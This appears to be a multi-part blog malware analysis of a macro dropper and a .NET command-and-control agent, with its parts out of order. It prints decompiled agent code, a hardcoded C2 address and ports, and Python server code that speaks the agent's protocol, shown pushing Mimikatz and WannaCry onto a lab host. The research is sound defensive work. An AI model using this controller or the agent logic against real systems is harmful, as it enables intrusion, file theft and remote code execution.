Disclaimer: Running malware on a personal or corporate device can put your information or your company’s information at risk. Never execute malware on a device that has not been specifically configured for analysis.

We begin the analysis with the Detect It Easy tool, which shows us that the file’s type is PE32 (Portable Executable, a Windows executable). It shows that the malware uses the .NET framework; this is important because depending on the framework/language, we can decide on the best tool for analyzing the malware.

Additionally, we see that it identifies the malware as XWorm. While this is a strong indicator, we should not rely 100% on this identification, as Detect It Easy, like OLEVba and other static analysis tools, looks for patterns and can incorrectly label certain patterns as malicious. Furthermore, there have been cases where threat actor groups (APTs) intentionally included IOCs from other threat groups in their tools to deceive investigators.

Finally, we see that Detect It Easy identifies the malware as obfuscated and with anti-debug and anti-VM capabilities.

If we analyze the binary with PEStudio, we can detect some interesting strings:

Within the strings, we see references to DDoS, commands for the computer (PCShutdown, PCLogoff), and the string "-ExecutionPolicy Bypass", which can be used to bypass PowerShell script verification, among others. Additionally, if we explore the other tabs in PEStudio, we can gain a better understanding of the .NET namespaces present, libraries it imports, and more.

Managed code vs Unmanaged code#

Earlier in the article, I mentioned that, depending on the programming language, we could use different tools to analyze our sample. To understand this, it is important to know about managed and unmanaged languages:

Unmanaged code is code that runs directly on the machine without the need for a runtime environment. Here are its key characteristics:

• Direct interaction with the system: This code has direct access to memory and system resources.
• Faster but less secure: Although unmanaged code programs are faster and more lightweight, they require the programmer to carefully manage memory and other resources.
• Example in C: In this language, programmers must manually manage memory, which can lead to vulnerabilities like buffer overflows if not done correctly.

Example of unmanaged code (in C):

#include <stdio.h>
#include <string.h>

int main() {
    char buffer[10];
    printf("Enter some text: ");
    gets(buffer);  // Unsafe function, vulnerable to buffer overflow
    printf("You entered: %s\n", buffer);
    return 0;
}

Managed code is executed in a controlled environment provided by a “runtime” or execution environment, such as the .NET CLR (Common Language Runtime) for .NET applications. This offers advantages in terms of security and portability, as the environment manages memory and exceptions automatically.

• Automatic resource management: The CLR handles memory management, making the code more secure and less prone to errors like memory leaks.

• Portability: Managed code is easier to port across different operating systems since the runtime takes care of translating the code into something understandable by the machine.

Example of managed code (in C#):

using System;

class Program
{
    static void Main()
    {
        string input = Console.ReadLine();  // Safe input handling
        Console.WriteLine("You entered: " + input);
    }
}

Intermediate Language (IL)#

When we write code in .NET, whether in C# or Visual Basic, the compiler does not produce a binary that can be executed directly. Instead, it generates a binary in Intermediate Language (IL), which is a set of instructions that need to be converted to machine code by the CLR to be executed on the machine.

When you double-click a .EXE program that uses the .NET framework, the CLR performs a process known as Just In Time (JIT) compiling, which transforms the intermediate code into machine code that can be executed by the CPU:

If we compare two programs that do the same thing, one written in C and the other in C#, we can observe the significant size difference:

This is important for our analysis because Intermediate Language binaries contain a large amount of metadata that makes the analysis easier. Instead of having to disassemble the binary with a tool like Ghidra, we can decompile it using DNSpy.

Conclusions#

In this first article, we have laid the groundwork for understanding XWorm: we now know what type of binary it is, some potential functions to look for during the analysis, as well as the tools we can use to approach it. While this is a theoretical article, I believe the foundation of managed and unmanaged languages is important for future analyses.

In the next article, we will begin analyzing the actions performed by XWorm, how it evades defenses, decrypts configuration parameters while running, and more.

See you in the next article!

In the second part of this article we statically analyzed the .exe binary we obtained from a malicious macro; during the analysis, we identified that the program was developed in .NET, which facilitated the analysis because the intermediate language (IL) used by this framework is very similar to the original source code, allowing it to be easily decompiled.

In this section we will dynamically analyze the binary to confirm our static analysis was correct, as well as develop ways to interact with the agent.

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Dynamic analysis of the binary#

Environment setup and initial connection#

As part of the static analysis we identified that, after waiting for a few seconds, the program tries to communicate with the IP 162.245.191.217 on the ports 9149, 15198, 17818, 27781 and 29224, iterating through them until it gets a successful connection. We can verify that the program does indeed make such connection attempts using TCPView or Process Monitor:

Since the binary requires a successful response from the server to continue, we can proceed in two ways:

1. Modify the destination IP during execution using DNSpy
2. Modify Remnux to intercept the traffic directed to the server

On this occasion I opted for the second option, which can be implemented by modifying Remnux’s firewall rules; to do so, we can redirect all traffic destined to the server’s IP to a specific port in Remnux:

sudo iptables -t nat -A PREROUTING -i ens33 -p tcp -d 162.245.191.217  -j DNAT --to-destination 10.0.0.3:4321

As part of the static analysis we identified that the program gets a response from the server, splits it using the “=” character and based on the first part of the message (what is before the “=” character) performs an action. We can test this by sending a value that we know the program understands and see if it follows the expected path:

import socket
import struct

message_content = "thyTumb=LoremIpsumTest"
print(message_content)

HOST = '0.0.0.0'
PORT = 4321


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()

    print("Server is listening...")
    conn, addr = s.accept()
    with conn:
        print('Connected by', addr)
        conn.sendall(message_content.encode())
        print("Data sent to the client.")

However, we quickly realize that sending a message will not be so simple; the agent implements custom logic to determine the size of the message and thus know when to stop “reading” data:

Furthermore, due to differences in how C# (what the agent is written in) and Python (the server we are using to impersonate the real server) handle TCP messages, it is necessary to make adjustments to the code so that the agent can understand the message:

import socket
import struct

message_content = "thyQumb=LoremIpsumTest"

message_length = len(message_content.encode())
packed_length = struct.pack('!I', message_length)

reversed_length = packed_length[::-1]

reversed_length = reversed_length + b'\x00' * (5 - len(reversed_length))

message_to_send = reversed_length + message_content.encode()
print(message_to_send)

HOST = '0.0.0.0'  
PORT = 4321     

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()

    print("Server is listening...")
    conn, addr = s.accept()
    with conn:
        print('Connected by', addr)
        conn.sendall(message_to_send)
        print("Data sent to the client.")

With these modifications we verify that the message reaches the agent correctly:

During analysis it can take a long time for the necessary conditions to be met for the malware to communicate with the server, so extracting the part of the code we want to understand and using it in another program can help us understand what is happening more effectively; to understand how Python sent the messages and how .NET received them, I made a small program that allowed me to validate the response of each stage of the process:

Once we are able to send information to the agent in a “language” that it can understand, implementing the logic of receiving information from the agent takes little time. Finally we have how to send commands to the Command and Control agent and we can verify how it behaves in practice.

Analysis of the agent’s capabilities#

As in the previous article, we will analyze some capabilities offered by the agent to verify how they behave during its execution:

Listing processes#

When the command “geyTtavs” is received, we expect the ID of each process to be sent, followed by the name of each process, following the pattern Process ID1>ProcessName1>0>IDProcess2>ProcessName2>0><. Using Wireshark, we can verify that the information is indeed sent this way:

On the server, we can modify our script to better parse the received information:

Establish persistence#

Another of the functions offered by the C2 agent that we identified during the static analysis is that of establishing persistence, which we can verify using Autoruns and Process monitor.

The C2 agent uses the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run to configure the agent to run at each login (technique T1547.001 in MITRE ATT&CK ).

Exfiltrating files#

The agent offers the attacker the ability to exfiltrate files using the “afyTile” command, for which it receives a file path and proceeds to send the file to the C2 server; we can update our server to interact with that function and confirm the agent read and sent the file using Wireshark and Process Monitor:

Downloading and executing programs#

One of the most interesting capabilities offered by the agent is the ability to download and execute binaries from the C2 server, so an attacker can extend their attack using capabilities not initially available in the malware. One of the situations where we constantly see such a technique is with organizations that deploy ransomware , where organizations known as Initial Access Brokers (IABs) sell the access they gained into a company to Ransomware organizations such as Lockbit and Conti.

For my initial test, I had the application download and execute the Windows calculator:

However, since running the calculator is boring, I decided to download Wannacry simulating what a real attacker might do:

C2 server demo#

After analyzing some of the capabilities offered by the agent (facilitated by the easy decompilation of .NET), I managed to implement a server capable of communicating with it based only on the agent’s code; among the features that I implemented are listing processes, obtaining system information, executing commands, establishing persistence, listing files in a directory, and downloading and executing binaries.

The following video shows some of the capabilities:

As shown in the video, the agent establishes communication with the Command and Control server every minute, which allows the attacker to send different commands; among those reviewed are the download and execution of binaries, where Mimikatz was downloaded and executed, the listing of system processes, where we identified the Mimikatz process, and obtaining system information, where we obtained the name of the machine, the user, the Windows version, as well as the path where the agent was running.

Furthermore, we can see how these activities appear in tools such as Process Explorer, Process Monitor, TCP View and Wireshark, which allow us to understand in detail the actions triggered by each capability of the malware.

The video does not show all the implemented capabilities, as well as others offered by the agent that were not adapted to the fake server (deleting files, taking screenshots, etc.), which is why I encourage the readers to reverse-engineer the binary and implement these capabilities as a way of learning.

Conclusions#

When I started the analysis of this malware I only knew that it contained a malicious macro, but not that it embedded a Command and Control agent, that I would be able to decompile, analyze, and develop a POC to interact with it. The malware obtained was the perfect opportunity to practice different analysis techniques, both static and dynamic, allowing us to reverse engineer the malware without having to read assembly code.

Thank you for joining me in this analysis. I invite you to replicate what we have seen and practice the techniques we learned.

MITRE ATT&CK Mapping#

IOC#

In the first part of this article we identified that, after implementing certain techniques to make detection more difficult, the malicious macro we analyzed extracted and executed an embedded .exe binary. In this part, we will analyze said binary statically to understand how it works, how we determine that it corresponds to a C2 agent, and what indicators of compromise we can obtain from it.

Due to the length of the article, we will evaluate the binary dynamically in a third installment.

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Static analysis of the executable#

Identifying the binary’s hashes and the development framework it uses#

We start the analysis by obtaining the hash of the executable:

After opening the binary in PEStudio , we see some interesting things:

1. PEStudio identifies the binary as of “Microsoft .NET” type.
2. The binary appears to have been compiled on September 05 2023, so it is recent (this value can be altered so it is not 100% reliable).
3. The path to the “debug” file of the binary is identified, which contains \obj\Debug, a standard directory created by Visual Studio.

These factors seem to suggest that it is a .NET program; additionally, by analyzing some of the other sections provided by PEStudio we can get further confirmation of this:

1. PEStudio identifies the .NET namespace System.Net.Sockets
2. PEStudio identifies that the program, during its execution, imports .NET classes

With this information, we can say with near total certainty that the binary corresponds to one developed with the .NET framework. Additionally, we see that PEStudio identifies an IP, which may be an indicator of compromise (IOC) of interest.

Decompilation of .NET binaries#

Programs developed in .NET are usually susceptible to decompilation because they are not compiled directly to the binary machine language that the computer understands (the 0’s and 1’s). Instead, they are compiled to an intermediate language (IL), which is converted during the program’s execution to the specific machine language of the environment in which it is running.

Although this framework provides flexibility, the intermediate language contains information about class names, methods, metadata, etc., which allows it to be decompiled and thus, “reverted” almost to its original form.

There are different tools that allow decompiling a binary created in .NET, among them ILSpy and dnSpy ; for this analysis I will use dnSpy due to the debugging capabilities it offers.

Initial analysis of the binary#

When we open the executable in dnSpy, we validate that we can indeed visualize the code:

Since analyzing each function called by the executable can be very tedious (especially if it contains garbage code to hinder analysis), we will follow the flow of calls made from the Main method.

1. We verify that when the program starts it calls the Form1 form, which, when initialized, invokes the InitializeComponent() method. From this method’s configuration we can gather three things:
   1. The opacity of the form is set to 0 to make it invisible.
   2. The form is configured not to have an icon in the taskbar.
   3. The method Form1_Load is called.

private void InitializeComponent()
		{
            ...
			base.Name = "Form1";
			base.Opacity = 0.0;
			base.ShowIcon = false;
			base.ShowInTaskbar = false;
			this.Text = "Form1";
			base.FormClosing += this.Form1_FormClosing;
			base.Load += this.Form1_Load;
            ...

		}

2. The Form1_Load method stops execution (“sleeps”) for a few seconds before calling the corediQart() method:

private void Form1_Load(object sender, EventArgs e)
		{
			try
			{
				Thread.Sleep(1010);
				base.ShowInTaskbar = false;
				base.Visible = false;
				base.FormBorderStyle = FormBorderStyle.SizableToolWindow;
				Thread.Sleep(2050);
				Thread.Sleep(1280);
				this.mainvp.corediQart();
			}
			catch
			{
			}
		}

This technique (T1497.003 ) is usually used by attackers to evade dynamic analysis tools, many of which are only active for a short period of time and may believe that a binary does not have malicious behavior just because it is not yet executed. In this case, from my point of view, the times are too short to be useful for this technique, so they are probably to give time to other components of the program to finish loading.

3. The corediQart() method performs the following actions:
   1. Assigns the first port defined in the ports variable to the port variable.
   2. Gets the name of the computer where the program is running, as well as the user running the program and assigns it to the userAiunt variable.
   3. Creates an object of type TimerCallback that calls the procvQloop method.
   4. Sets the object of type TimerCallback to run every 58.51 seconds, after initially waiting 49.12 seconds.

		public void corediQart()
		{
			DIRERRIF.port = DIRERRIF.ports[0];
			this.userAiunt = new MRDFINF();
			...
			TimerCallback callback = new TimerCallback(this.procvQloop);
			Timer timer = new Timer(callback, this.objeAdate, 49120, 58510);
			this.objeAdate.timer = timer;
		}

        public static int[] ports = new int[]
		{
			9149,
			15198,
			17818,
			27781,
			29224
		};

        public MRDFINF()
		{
			...
			this.comtname = SystemInformation.ComputerName;
			this.acc_datQtime = Environment.UserName;
			...
		}

4. Analyzing what the procvQloop() method does, it initiates a TCP connection with the IP stored in the min_codns variable; in that variable, the IP is stored as a set of bytes, probably to make detection more difficult:

DIRERRIF.mainwtp = Encoding.UTF8.GetString(DIRERRIF.min_codns, 0, DIRERRIF.min_codns.Length).ToString();
this.maiedet = new TcpClient();
this.maiedet.Connect(DIRERRIF.mainwtp, DIRERRIF.port);

public static byte[] min_codns = new byte[]
{49, 54, 50, 46, 50, 52, 53, 46, 49, 57, 49, 46, 50, 49, 55};

The TCP connection is established with the IP stored in the min_codns variable on the port assigned to the port variable.

5. Once the connection is made, if successful, the procD_core() method is called, which performs multiple operations:
   1. Gets a response from the previously established TCP connection.
   2. Separates the obtained answer using the ‘=’ separator.
   3. Based on the first value of the answer (what was before the ‘=’) it calls different methods.

private void procD_core()
        ...
		string[] procss_type = this.get_procsQtype();
		...
		string text = procss_type[0].ToLower();
		...
		if (text == "thyTumb")
		{
			this.imagiQtails(procss_type[1]);
		}
		if (text == "scyTrsz")
		{
			this.dsAscrnsize(procss_type[1]);
		}
		...

public string[] get_procsQtype()
{
	string[] result;
	try
	{
		byte[] array = new byte[5];
		this.byteAdesr = this.newWam.Read(array, 0, 5);
		int num = BitConverter.ToInt32(array, 0);
		byte[] array2 = new byte[num];
		int num2 = 0;
		for (int i = num; i > 0; i -= this.byteAdesr)
		{
			int count = (i > this.bufeAize) ? this.bufeAize : i;
			this.byteAdesr = this.newWam.Read(array2, num2, count);
			num2 += this.byteAdesr;
		}
		string text = Encoding.UTF8.GetString(array2, 0, num).ToString();
		if (text.Trim() == "")
		{
			result = null;
		}
		else
		{
			result = text.Split(new char[]
			{
				'='
			});
		}
	}
	return result;
}

Without analyzing the rest of the functions, the behavior of the program already suggests that it might be a C2 agent:

1. Every so often (approximately every minute), it communicates with a server using a non-common IP and a non-common port.
2. It receives a response from the server, which is composed of two sections.
3. Based on the first section (commands), it calls methods by passing them the second section (payload/command parameters).

Based on this analysis we can assume that the server sends commands to the agent, which executes them. Further analysis will allow us to confirm if it is really a Command and Control agent, as well as the capabilities that this agent has.

Analysis of C2 agent functions#

Since analyzing each function would be very tedious, we will analyze some functions that I found interesting:

List processes#

As in the macro containing the binary, the use of underscores to separate commands/variables is seen:

When the “geyTtavs” command is received, the processes running on the system are obtained and their ID and name are sent to the server using the loadQData function:

The loadQData function sends the type of response to expect, the size of the response and the response to the server.

Just by analyzing the “list processes” function, we can confirm that it is indeed a Command and Control agent: the program contacts a server, receives an instruction (list processes in this case) and sends the response to the server.

Establish persistence#

The registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is usually abused by attackers to establish persistence; such technique is listed in MITRE ATT&CK with ID T1547.001 and allows an attacker to run a program when the user logs in , under the context (permissions) of that user.

We verify that the agent provides the capability to establish persistence. On receiving the command “puyTtsrt” it creates the registry key with name “haijwivetsgVr”:

As before, we see that the path name in the registry has been split using underscores to make identification more difficult.

List files#

Upon receiving the “flyTes” command along with a path, the command lists the files in the path using the Directory.GetFiles method, concatenates them using the character ‘>’ as a separator and sends them to the server:

Take screenshots#

The “cdyTcrgn”, “csyTcrgn” and “csyTdcrgn” commands can be used to take screenshots and send them to the server:

File exfiltration#

The “afyTile” command can be used to exfiltrate a file from the victim’s machine to the server; to do so, it receives the path of the file to exfiltrate as a parameter:

The information sent back to the server includes the file path, the file name and the contents of the file.

Execute binaries#

To execute a program that already exists in the system (either native or downloaded with another command), the “ruyTnf” command is used, which starts a new process receiving as a parameter the name of the program to be executed.

if (text == "ruyTnf") {
  ...
    Process.Start(procss_type[1].Split(new char[] { '>' })[0]);
  } catch {
  }
}

Delete a file#

The “deyTlt” command receives as a parameter the path where a file is stored, and then uses the File.Delete method to delete it:

if (text == "deyTlt") {
  this.trasQfiles(procss_type[1]);
}

public void trasQfiles(string path) {
  try {
    File.Delete(path);
  } catch {
  }
}

Conclusions#

When I started writing this article I thought it would be the final part of the analysis; however, after identifying the number of functions that the agent exposed, I preferred to go into detail on some of them and leave the dynamic analysis for the next article.

The analyzed malware has all the characteristics of a Command and Control agent: it contacts the server from time to time, allows obtaining information from the system, allows exfiltrating information, allows downloading binaries to the system and executing them, among other functions.

The malware uses a couple of techniques to bypass static code analysis tools: the use of underscores to alter variable names/registry keys, as well as the use of a byte array to store an IP instead of storing it in plaintext; however, the fact that it has been developed in .NET allows for easy decompilation and analysis.

In the next article I will elaborate on how someone can interact with the malware as part of their analysis, and thus evidence whether it has any behavior not identified as part of the static analysis.

MITRE ATT&CK Mapping#

IOC#

On this occasion I decided to analyze a command and control (C2) agent, reviewing how it reaches its victims and what techniques it uses to evade defenses and hinder analysis. Since the whole post would be very long, I divided it into two parts: the first part will focus on the analysis of the macro that acts as a dropper, while the second part will focus on the analysis of the payload (C2 agent).

The chosen dropper has the hash 22ce9042f6f78202c6c346cef1b6e532 and can be downloaded from the following link .

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Office Macros: the technique that never seems to end#

Before starting with the analysis, I want to delve a little bit into what macros are and why they are usually abused by attackers.

Macros are sequences of commands that allow us to automate tasks in Microsoft Office programs; they can be used for formatting texts, running calculations, etc. Macros have the same privileges as the program from which they are running , which means that they have full access to the computer under the context of the user who ran the Office program.

Macros are of special interest to attackers due to the following reasons:

1. They allow the attackers to embed code in legitimate documents, so they don’t have to convince their victims to download a binary.
2. Most users are accustomed to using Office programs, and may usually receive such type of files by email (especially in enterprises).
3. The victim’s company’s anti-spam systems may block files with a .exe extension; however, they probably allow Office files.
4. The Microsoft Office suite is widely distributed, which increases the likelihood that the malware can be run by their victim.
5. They can be used on both Windows and macOS.

The use of Visual Basic to execute malicious commands is so common that it has a subtechnique of MITRE ATT&CK associated: T1059.005 . More information on how this technique has been used in other malware distribution campaigns can be found on MITRE’s ATT&CK site.

Microsoft has begun blocking the execution of macros downloaded from the Internet in recent versions of Microsoft Office; however, many companies and users still use outdated versions, allowing the technique to continue to be widely used.

Static analysis of the file#

We begin the analysis by obtaining the hash of the malicious Word document:

Then, we begin olevba analysis using the -a parameter:

We see that olevba warns us that the Document_Open function is executed automatically when the file is opened (typical behavior of malicious macros, which avoid requiring user interaction); additionally, we see certain text strings that olevba considers suspicious:

In this case, unlike the previous article , olevba does not detect potential indicators of compromise (IOC).

We continue the analysis by using the -c parameter to visualize the document’s macros: